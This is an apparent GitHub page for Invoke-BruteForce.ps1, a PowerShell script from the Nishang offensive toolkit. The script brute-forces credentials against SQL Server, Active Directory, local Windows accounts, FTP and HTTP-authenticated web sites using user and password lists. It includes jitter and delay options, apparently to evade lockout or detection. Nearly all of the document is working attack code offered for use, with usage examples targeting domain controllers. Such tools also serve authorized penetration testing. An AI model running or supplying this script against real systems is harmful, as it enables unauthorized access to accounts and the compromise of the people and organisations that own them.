-
Notifications
You must be signed in to change notification settings - Fork 2.4k
/
Invoke-BruteForce.ps1
329 lines (295 loc) · 12.7 KB
/
Invoke-BruteForce.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
function Invoke-BruteForce
{
<#
.SYNOPSIS
Nishang payload which performs a Brute-Force Attack against SQL Server, Active Directory, Local Accounts, Web and FTP.
.DESCRIPTION
This payload can brute force credentials for SQL Server, ActiveDirectory, LocalAccounts, Web or FTP.
.PARAMETER Computername
Specifies a SQL Server, Domain, Computer, FTP Site or Web Site.
.PARAMETER UserList
Specify a list of users. If blank, trusted connection will be used for SQL and an error will be genrated for other services.
.PARAMETER PasswordList
Specify a list of passwords.
.PARAMETER Service
Enter a Service from SQL, ActiveDirecotry, LocalAccounts, FTP and Web. Default service is set to SQL.
.PARAMETER StopOnSuccess
Use this switch to stop the brute forcing on the first success.
.PARAMETER Delay
Delay between brute-force attempts, defaults to 0.
.PARAMETER Jitter
Jitter for the brute-force attempt delay, defaults to +/- 0.3
.EXAMPLE
PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose
Brute force a SQL Server SQLServ01 for users listed in users.txt and passwords in wordlist.txt
.EXAMPLE
PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose
Brute force a Domain Controller of targetdomain.com for users listed in users.txt and passwords in wordlist.txt.
Since StopOnSuccess is specified, the brute forcing stops on first success.
.EXAMPLE
PS > Invoke-BruteForce -ComputerName targetmachine -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service LocalAccounts -StopOnSuccess -Verbose
Brute force the local mahcine for local users listed in users.txt and passwords in wordlist.txt.
Since StopOnSuccess is specified, the brute forcing stops on first success.
.EXAMPLE
PS > cat C:\test\servers.txt | Invoke-BruteForce -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose
Brute force SQL Service on all the servers specified in servers.txt
.LINK
http://www.truesec.com
http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/03/use-powershell-to-security-test-sql-server-and-sharepoint.aspx
https://github.com/samratashok/nishang
.NOTES
Goude 2012, TreuSec
#>
[CmdletBinding()] Param(
[Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
[Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
[String]
$ComputerName,
[Parameter(Position = 1, Mandatory = $true)]
[Alias('Users')]
[String]
$UserList,
[Parameter(Position = 2, Mandatory = $true)]
[Alias('Passwords')]
[String]
$PasswordList,
[Parameter(Position = 3, Mandatory = $true)] [ValidateSet("SQL","FTP","ActiveDirectory","LocalAccounts","Web")]
[String]
$Service = "SQL",
[Parameter(Position = 4, Mandatory = $false)]
[Switch]
$StopOnSuccess,
[Parameter(Position = 5, Mandatory = $false)]
[Double]
$Jitter = .3,
[Parameter(Position = 6, Mandatory = $false)]
[UInt32]
$Delay = 0
)
Process
{
Write-Verbose "Starting Brute-Force with a Delay of $Delay and Jitter $Jitter."
$usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
$passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
if (!$usernames) {
$usernames = $UserList
Write-Verbose "UserList file does not exist. Using UserList as usernames:"
Write-Verbose $usernames
}
if (!$passwords) {
$passwords = $PasswordList
Write-Verbose "PasswordList file does not exist. Using PasswordList as passwords:"
Write-Verbose $passwords
}
$RandNo = New-Object System.Random
#Brute force SQL Server
$Connection = New-Object System.Data.SQLClient.SQLConnection
function CheckForSQLSuccess
{
Try
{
$Connection.Open()
$success = $true
}
Catch
{
$success = $false
}
if($success -eq $true)
{
Write-Output "Match found! $username : $Password"
switch ($connection.ServerVersion) {
{ $_ -match "^6" } { "SQL Server 6.5";Break UsernameLoop }
{ $_ -match "^7" } { "SQL Server 7";Break UsernameLoop }
{ $_ -match "^8" } { "SQL Server 2000";Break UsernameLoop }
{ $_ -match "^9" } { "SQL Server 2005";Break UsernameLoop }
{ $_ -match "^10\.00" } { "SQL Server 2008";Break UsernameLoop }
{ $_ -match "^10\.50" } { "SQL Server 2008 R2";Break UsernameLoop }
{ $_ -match "^11" } { "SQL Server 2012";Break UsernameLoop }
{ $_ -match "^12" } { "SQL Server 2014";Break UsernameLoop }
{ $_ -match "^13" } { "SQL Server 2016";Break UsernameLoop }
{ $_ -match "^14" } { "SQL Server 2017";Break UsernameLoop }
Default { "Unknown" }
}
}
$Connection.Close()
# Shamelessly stolen from https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
}
if($service -eq "SQL")
{
Write-Output "Brute Forcing SQL Service on $ComputerName"
if($userList)
{
:UsernameLoop foreach ($username in $usernames)
{
foreach ($Password in $Passwords)
{
$Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;User Id=$userName;Password=$password;"
Write-Verbose "Checking $userName : $password"
$success = CheckForSQLSuccess
if ($success)
{
Write-Output "Match found! $username : $password"
if ($StopOnSuccess)
{
break UsernameLoop
}
}
}
}
}
else
{
#If no username is provided, use trusted connection
$Connection.ConnectionString = "server=$identity;Initial Catalog=Master;trusted_connection=true;"
CheckForSQLSuccess
}
}
#Brute Force FTP
elseif ($service -eq "FTP")
{
if($ComputerName -notMatch "^ftp://")
{
$source = "ftp://" + $ComputerName
}
else
{
$source = $ComputerName
}
Write-Output "Brute Forcing FTP on $ComputerName"
:UsernameLoop foreach ($username in $usernames)
{
foreach ($Password in $Passwords)
{
try
{
$ftpRequest = [System.Net.FtpWebRequest]::Create($source)
$ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
Write-Verbose "Checking $userName : $password"
$ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password)
$result = $ftpRequest.GetResponse()
$message = $result.BannerMessage + $result.WelcomeMessage
Write-Output "Match found! $username : $Password"
$success = $true
if ($StopOnSuccess)
{
break UsernameLoop
}
}
catch
{
$message = $error[0].ToString()
$success = $false
}
# Shamelessly stolen from https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
}
}
}
#Brute Force Active Directory
elseif ($service -eq "ActiveDirectory" -or $service -eq "LocalAccounts")
{
if ($service -eq "ActiveDirectory")
{
Write-Output "Brute Forcing Active Directory $ComputerName"
$contextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain
}
else
{
Write-Output "Brute Forcing Local Accounts $ComputerName"
$contextType = [System.DirectoryServices.AccountManagement.ContextType]::Machine
}
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
Try
{
$principalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($contextType, $ComputerName)
$success = $true
}
Catch
{
$message = "Unable to contact Domain"
$success = $false
}
if($success -ne $false)
{
:UsernameLoop foreach ($username in $usernames)
{
foreach ($password in $passwords)
{
$SleepSeconds = $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Try
{
Write-Verbose "Checking $username : $password (then sleeping for $SleepSeconds seconds)"
$success = $principalContext.ValidateCredentials($username, $password)
$message = "Password Match"
if ($success -eq $true)
{
Write-Output "Match found! $username : $password"
if ($StopOnSuccess)
{
break UsernameLoop
}
}
}
Catch
{
$success = $false
$message = "Password doesn't match"
}
# Shamelessly stolen from https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
Start-Sleep -Seconds $SleepSeconds
}
}
}
else {
Write $message
}
}
#Brute Force Web
elseif ($service -eq "Web")
{
if ($ComputerName -notMatch "^(http|https)://")
{
$source = "http://" + $ComputerName
}
else
{
$source = $ComputerName
}
:UsernameLoop foreach ($username in $usernames)
{
foreach ($Password in $Passwords)
{
$webClient = New-Object Net.WebClient
$securePassword = ConvertTo-SecureString -AsPlainText -String $password -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $userName, $securePassword
$webClient.Credentials = $credential
Try
{
Write-Verbose "Checking $userName : $password"
$source
$webClient.DownloadString($source)
$success = $true
$success
if ($success -eq $true)
{
Write-Output "Match found! $Username : $Password"
if ($StopOnSuccess)
{
break UsernameLoop
}
}
}
Catch
{
$success = $false
$message = "Password doesn't match"
}
# Shamelessly stolen from https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
}
}
}
}
}